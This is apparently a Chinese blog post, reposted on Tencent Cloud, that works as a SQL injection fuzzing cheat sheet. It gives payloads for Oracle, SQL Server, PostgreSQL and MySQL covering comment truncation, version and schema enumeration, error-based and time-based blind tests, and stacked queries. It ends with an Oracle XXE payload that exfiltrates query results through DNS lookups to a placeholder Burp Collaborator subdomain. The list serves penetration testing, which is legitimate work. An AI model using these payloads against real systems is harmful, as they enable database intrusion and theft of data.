专栏首页农夫安全Tips-sql注入漏洞模糊测试

Tips-sql注入漏洞模糊测试

Tips-sql注入模糊测试

该清单中包含一些安全从业人员常用的,针对指定数据库进行sql注入漏洞测试的payload,在安全测试的第一个阶段,我们可以借助外部的一些安全工具,比如nmap进行识别服务器端数据库的指纹信息,更有利于后续的模糊测试。

字符串串联

将多个字符串拼接在一起,返回一个新的字符串。

Oracle

'foo'||'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'||'bar'

MySQL

'foo' 'bar' [注意两个字符串之间的空格] CONCAT('foo','bar')

子串

从具有指定长度的偏移量中提取字符串的一部分。请注意,偏移索引是基于1的。以下每个表达式将返回字符串ba。

Oracle

SUBSTR('foobar', 4, 2)

Microsoft

SUBSTRING('foobar', 4, 2)

PostgreSQL

SUBSTRING('foobar', 4, 2)

MySQL

SUBSTRING('foobar', 4, 2)

注释

使用注释来截断查询并删除原始输入之后的查询部分。

Oracle

--comment

Microsoft

--comment /comment/

PostgreSQL

--comment /comment/

MySQL

#comment -- comment [注意双破折号后的空格] /comment/

数据库版本

查询数据库确定其类型和版本。在制定更为复杂的安全测试时,此信息非常重要。

Oracle

SELECT banner FROM v$version SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

数据库内容

列出数据库中存在的表,以及这些表中所包含的列。

Oracle

SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL

SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

测试单个布尔条件,如果条件为true,则触发数据库错误。

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual

Microsoft

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END

MySQL

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

批量(或堆叠)查询

使用批量查询来连续执行多个数据库语句。注意,在执行后续查询时,结果不会直接返回给应用程序。因此,该技术主要用于与sql盲注漏洞有关的问题,在该漏洞中,可以使用二次查询来触发DNS查询,条件错误或时间延迟。

Oracle

Does not support batched queries.

Microsoft

QUERY-1-HERE; QUERY-2-HERE

PostgreSQL

QUERY-1-HERE; QUERY-2-HERE

MySQL

Does not support batched queries.

时间延迟

处理sql查询时,可能导致数据库中的时间延迟。以下情况将导致10秒的无条件时间延迟。

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT sleep(10)

有条件的时间延迟

可以测试单个布尔条件,并在条件为真时触发时间延迟。

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft

IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL

SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS查询

可以利用查询语句使数据库对外部域执行DNS查询。为此,将需要使用Burp Collaborator客户端生成,在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器,以确认是否真实发生了DNS查找。

以下技术利用了XML外部实体注入: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
 以下技术适用于完全修补的Oracle安装,但需要管理员权限: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')/

DNS查找与数据渗透

可以使数据库对包含注入查询结果的外部域执行DNS查找。为此,将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括被泄露的数据。

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

本文分享自微信公众号 - 网络安全社区悦信安(yuexin_an),作者:farmsec

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【学习规划路线】如何成为一名web安全工程师

    时间:1周 环境的搭建 熟悉基本的虚拟机配置, Kali linux,centos,Windows实验虚拟机 自己搭建IIS和apache 部署php或者asp...

    用户1467662
  • Linux下Arp欺骗攻击的另类应用之屌丝泡妞记

    本文为小编在新东文章整理中阅读后发现不错,如有侵权联系作者删除 EveryNote 真是个好动西,跨平台的笔记本工具。好到,平时记录一些自己的东西,都懒得在写东...

    用户1467662
  • 一次比较简单的手工ASP注入

    前言 这是一个比较新手中的新手注入。这是之前群里一个朋友丢给我的站点,说有注入点,但是他手上没有工具,他知道我有工具就叫我帮忙看一下。 一般我有个习惯,进去先在...

    用户1467662
  • 【一天一大 lee】分发糖果 (难度:困难) - Day20201224

    老师想给孩子们分发糖果,有 N 个孩子站成了一条直线,老师会根据每个孩子的表现,预先给他们评分。

    前端小书童
  • Xilinx FPGA和CPLD供电

    基于闪存技术的Xilinx CPLD具有较低的逻辑密度,功耗也比较低。为了提高逻辑密度、集成更多功能,PLD厂商的每一代器件都会采用当前最新的工艺技术。不同的功...

    瓜大三哥
  • org.springframework.beans.NotWritablePropertyException

    关于 org.springframework.beans.NotWritablePropertyException解决办法

    traffic
  • pyecharts地图功能,并解决显示不全或只显示南海诸岛问题解决

    一切准备就绪,然后开开心心执行代码, 纳尼,出现了显示不全或只显示南海诸岛问题解决

    Python疯子
  • 容器环境的JVM内存设置最佳实践

    Docker 和 K8S 的兴起,很多服务已经运行在容器环境。对于 Java 程序,JVM 设置是一个重要的环节。这里总结下我们项目里的最佳实践。

    肉眼品世界
  • 视频质量专家组(VQEG)首次在华会议于腾讯总部顺利召开

            近日, VQEG(Video Quality Experts Group, VQEG)首次在华会议于腾讯大厦顺利召开,来自Intel,Netf...

    腾讯音视频实验室
  • Facebook中止聊天机器人项目是因为恐慌AI会自创语言了?其实你想多了

    前言 最近,关于 Facebook 的两个聊天机器人学会了相互交谈,接着 Facebook 人工智能研究院(FAIR)关停该“失控” AI 项目的新闻满天飞,人...

    CDA数据分析师

扫码关注云+社区

领取腾讯云代金券